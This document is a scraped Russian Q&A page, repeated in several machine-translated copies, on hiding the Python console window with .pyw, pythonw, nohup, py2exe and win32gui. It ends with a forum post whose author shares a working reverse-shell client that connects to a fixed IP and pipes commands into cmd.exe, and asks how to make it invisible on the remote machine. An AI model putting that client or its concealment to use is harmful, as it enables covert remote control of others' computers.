- Как скрыть окно консоли в python?
- Update
- На Unix-системах (включая Linux, macOS и BSD)
- В системах Windows
- Как скрыть окно консоли в python?
- 6 ответов
- Update
- В Unix-системах (включая Linux, macOS и BSD)
- В системах Windows
- Как скрыть окно консоли в python?
- ОТВЕТЫ
- Ответ 1
- Ответ 2
- Update
- Ответ 3
- В Unix-системах (включая Linux, macOS и BSD)
- В системах Windows
- Ответ 4
- Ответ 5
- Ответ 6
- Python-сообщество
- #1 Июнь 4, 2018 19:12:57
- Скрыть консоль в python
Как скрыть окно консоли в python?
Я хочу сделать из него автономные двоичные файлы для Linux и Windows. И главным образом я хочу, чтобы при запуске бота окно консоли скрывалось, и пользователь не мог видеть это окно.
Что я могу сделать для этого?
Просто сохраните его с расширением .pyw . Это предотвратит открытие окна консоли.
В системах Windows не существует понятия «исполняемый режим». Программа установки Python автоматически ассоциирует файлы .py с python.exe, так что двойной щелчок на файле Python запустит его как сценарий. Расширение также может быть .pyw, в этом случае окно консоли, которое обычно появляется, подавляется..
В linux просто запустите его, и никаких проблем. В Windows нужно использовать исполняемый файл pythonw.
Update
Хорошо, если я правильно понял вопрос в комментариях, вы спрашиваете, как сделать так, чтобы командное окно, в котором вы запустили бота из командной строки, потом исчезло?
C:/> start pythonw mypythonprog
Я думаю, что это правильно. В любом случае, теперь вы можете закрыть терминал.
На Unix-системах (включая Linux, macOS и BSD)
Используйте nohup mypythonprog & , и вы сможете закрыть окно терминала, не прерывая процесс. Вы также можете выполнить exit , если вы работаете в облаке и не хотите оставлять висящий процесс оболочки.
В системах Windows
Сохраните программу с расширением .pyw , и теперь она будет открываться с помощью pythonw.exe . Никакого окна оболочки.
Например, если у вас есть foo.py , вам нужно переименовать его в foo.pyw .
Если все вы хотите сделать, это запустить ваш скрипт Python на компьютере с ОС Windows, что интерпретатор Python установлен, преобразовывая расширение сохраненного сценария ‘.пы’ до ‘.pyw’ следует сделать трюк.
Но если вы’re, используя py2exe, чтобы преобразовать свой сценарий в отдельное приложение, которое будет работать на любой Windows-машины, то вам нужно сделать следующие изменения в своем ‘настройки.пы’ файл.
Ниже приведен пример простого языка Python-интерфейс выполнен с использованием Tkinter:
from distutils.core import setup import py2exe setup (console = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Изменение цены на «консоль» в коде выше, чтобы «окна» и..
from distutils.core import setup import py2exe setup (windows = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Это будет только открыть сгенерированный Tkinter GUI и без окна консоли.
Как скрыть окно консоли в python?
Я пишу IRC-бот в Python. Я хочу создать автономные двоичные файлы для Linux и Windows. И в основном я хочу, чтобы при запуске бота окно консоли должно скрываться, и пользователь не должен был видеть это окно. Что я могу сделать для этого?
6 ответов
Просто сохраните его с расширением .pyw . Это предотвратит открытие окна консоли.
В системах Windows нет понятия «исполняемый режим». Установщик Python автоматически связывает файлы.py с файлом python.exe, чтобы двойной щелчок на файле Python запускал его как скрипт. Расширение также может быть.pyw, в этом случае окно консоли, которое обычно появляется, подавляется.
В linux просто запустите его, без проблем. В Windows вы хотите использовать исполняемый файл pythonw.
Update
Хорошо, если я понимаю вопрос в комментариях, вы спрашиваете, как сделать окно команд, в котором вы запустили бот из командной строки?
Я думаю, что правильно. В любом случае, теперь вы можете закрыть терминал.
Это не основная проблема . Основная проблема заключается в том, чтобы скрыть окно консоли, когда программа работает. Как это сделать?
Измените расширение файла на .pyw, чтобы связать его с pythonw.exe oreilly.com/catalog/pythonwin32/chapter/ch20.html.
«nohup mypythonprog &» поможет мне в Linux . но Python не будет установлен на Windows-машине. Так что «start pythonw mypythonprog» не поможет мне, я думаю.
Хорошо, если Puython не установлен, у вас есть другая проблема. Вы хотите, чтобы py2exe создавал отдельный исполняемый файл. logix4u.net/Python/Tutorials/… и py2exe.org/index.cgi/FrontPage
unix ≠ Linux, unix ≠ UNIX, вышеупомянутое решение работает также для macOS и BSD (они unix), без форматирования кода.
В Unix-системах (включая Linux, macOS и BSD)
Используйте nohup mypythonprog & , и вы можете закрыть окно терминала, не нарушая процесс. Вы также можете запустить exit , если вы работаете в облаке, и не хотите оставлять зависающий процесс оболочки.
В системах Windows
Сохраните программу с расширением .pyw , и теперь она будет открыта с помощью pythonw.exe . Нет окна оболочки.
Например, если у вас есть foo.py , вам нужно переименовать его в foo.pyw .
Если все, что вы хотите сделать, это запустить Python Script на компьютере с Windows, на котором установлен Python Interpreter, преобразование расширения вашего сохраненного Script из ‘.py’ в ‘.pyw’ должно сделать трюк,
Но если вы используете py2exe для преобразования вашего Script в автономное приложение, которое будет запускаться на любой машине Windows, вам нужно внести следующие изменения в ваш файл setup.py.
Следующий пример представляет собой простой python-GUI, созданный с использованием Tkinter:
from distutils.core import setup import py2exe setup (console = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Измените «консоль» в приведенном выше коде на «windows»..
from distutils.core import setup import py2exe setup (windows = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Это откроет только созданный графический интерфейс Tkinter и отсутствие окна консоли.
Хотя я чувствую, что этот ответ немного не по теме для вопроса, я все равно оставил его, поскольку он отвечает на следующий вопрос (ссылка ниже), который был помечен как дубликат этого вопроса.
Я на самом деле использую pyinstaller, но он имеет опцию для того же (-w) и исправил проблему для меня.
Дополнительная информация. для ситуаций, в которых потребуется решение win32gui, опубликованное Мохсеном Хаддади ранее в этой теме:
Дополнительная информация о пакете pywin32 находится на: Как использовать модуль win32gui с Python? ,
Кроме того, чтобы применить дискрецию при закрытии окна, чтобы случайно не закрыть какое-либо окно на переднем плане, разрешение можно расширить по следующим строкам:
try : import win32gui, win32con; frgrnd_wndw = win32gui.GetForegroundWindow(); wndw_title = win32gui.GetWindowText(frgrnd_wndw); if wndw_title.endswith("python.exe"): win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE); #endif except : pass
Как скрыть окно консоли в python?
Я хочу создать автономные двоичные файлы для Linux и Windows. И в основном я хочу, чтобы при запуске бота окно консоли должно скрываться, и пользователь не должен был видеть это окно.
Что я могу сделать для этого?
ОТВЕТЫ
Ответ 1
Просто сохраните его с расширением .pyw . Это предотвратит открытие окна консоли.
В системах Windows нет понятия «исполняемый режим». Установщик Python автоматически связывает файлы.py с файлом python.exe, чтобы двойной щелчок на файле Python запускал его как скрипт. Расширение также может быть.pyw, в этом случае окно консоли, которое обычно появляется, подавляется.
Ответ 2
В linux просто запустите его, без проблем. В Windows вы хотите использовать исполняемый файл pythonw.
Update
Хорошо, если я понимаю вопрос в комментариях, вы спрашиваете, как сделать окно команд, в котором вы запустили бот из командной строки?
Я думаю, что правильно. В любом случае, теперь вы можете закрыть терминал.
Ответ 3
В Unix-системах (включая Linux, macOS и BSD)
Используйте nohup mypythonprog & , и вы можете закрыть окно терминала, не нарушая процесс. Вы также можете запустить exit , если вы работаете в облаке, и не хотите оставлять зависающий процесс оболочки.
В системах Windows
Сохраните программу с расширением .pyw , и теперь она будет открыта с помощью pythonw.exe . Нет окна оболочки.
Например, если у вас есть foo.py , вам нужно переименовать его в foo.pyw .
Ответ 4
Если все, что вы хотите сделать, это запустить Python Script на компьютере с Windows, на котором установлен Python Interpreter, преобразование расширения вашего сохраненного Script из ‘.py’ в ‘.pyw’ должно сделать трюк,
Но если вы используете py2exe для преобразования вашего Script в автономное приложение, которое будет запускаться на любой машине Windows, вам нужно внести следующие изменения в ваш файл setup.py.
Следующий пример представляет собой простой python-GUI, созданный с использованием Tkinter:
from distutils.core import setup import py2exe setup (console = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Измените «консоль» в приведенном выше коде на «windows»..
from distutils.core import setup import py2exe setup (windows = ['tkinter_example.pyw'], options = < 'py2exe' : >)
Это откроет только созданный графический интерфейс Tkinter и отсутствие окна консоли.
Ответ 5
Это скроет вашу консоль. Сначала выполните эти строки в коде, чтобы сначала скрыть консоль.
import win32gui, win32con The_program_to_hide = win32gui.GetForegroundWindow() win32gui.ShowWindow(The_program_to_hide , win32con.SW_HIDE)
Ответ 6
Дополнительная информация. для ситуаций, в которых потребуется решение win32gui, опубликованное Мохсеном Хаддади ранее в этой теме:
Дополнительная информация о пакете pywin32 находится на: Как использовать модуль win32gui с Python? ,
Кроме того, чтобы применить дискрецию при закрытии окна, чтобы случайно не закрыть какое-либо окно на переднем плане, разрешение можно расширить по следующим строкам:
try : import win32gui, win32con; frgrnd_wndw = win32gui.GetForegroundWindow(); wndw_title = win32gui.GetWindowText(frgrnd_wndw); if wndw_title.endswith("python.exe"): win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE); #endif except : pass
Python-сообщество
- Начало
- » Python для новичков
- » Скрыть консоль в python
#1 Июнь 4, 2018 19:12:57
Скрыть консоль в python
Ребят, помогите пожалуйста, знаю проблема глупая, но уже 3-й день мучаюсь. Есть две программы: Сервер и Клиент. На своей машине запускаю сервер, а на удаленной клиент. Задача была получить удаленно командную строку (cmd). Все работает отлично, но при запуске клиента открывается пустая командная строка, хотелось бы ее скрыть. Вот код клиента
#!/usr/bin/python3.5 from socket import * import subprocess, time while True: sock = socket(AF_INET, SOCK_STREAM) sock.connect(('192.168.0.228', 6996)) try: data = sock.recv(1024) if not data: break result = subprocess.run(['cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=data) except: break sock.send(result.stdout) sock.send(result.stderr) sock.close()
Отредактировано web-bomber (Июнь 5, 2018 06:18:02)
Прикреплённый файлы:
Безымянный.png (65,3 KБ)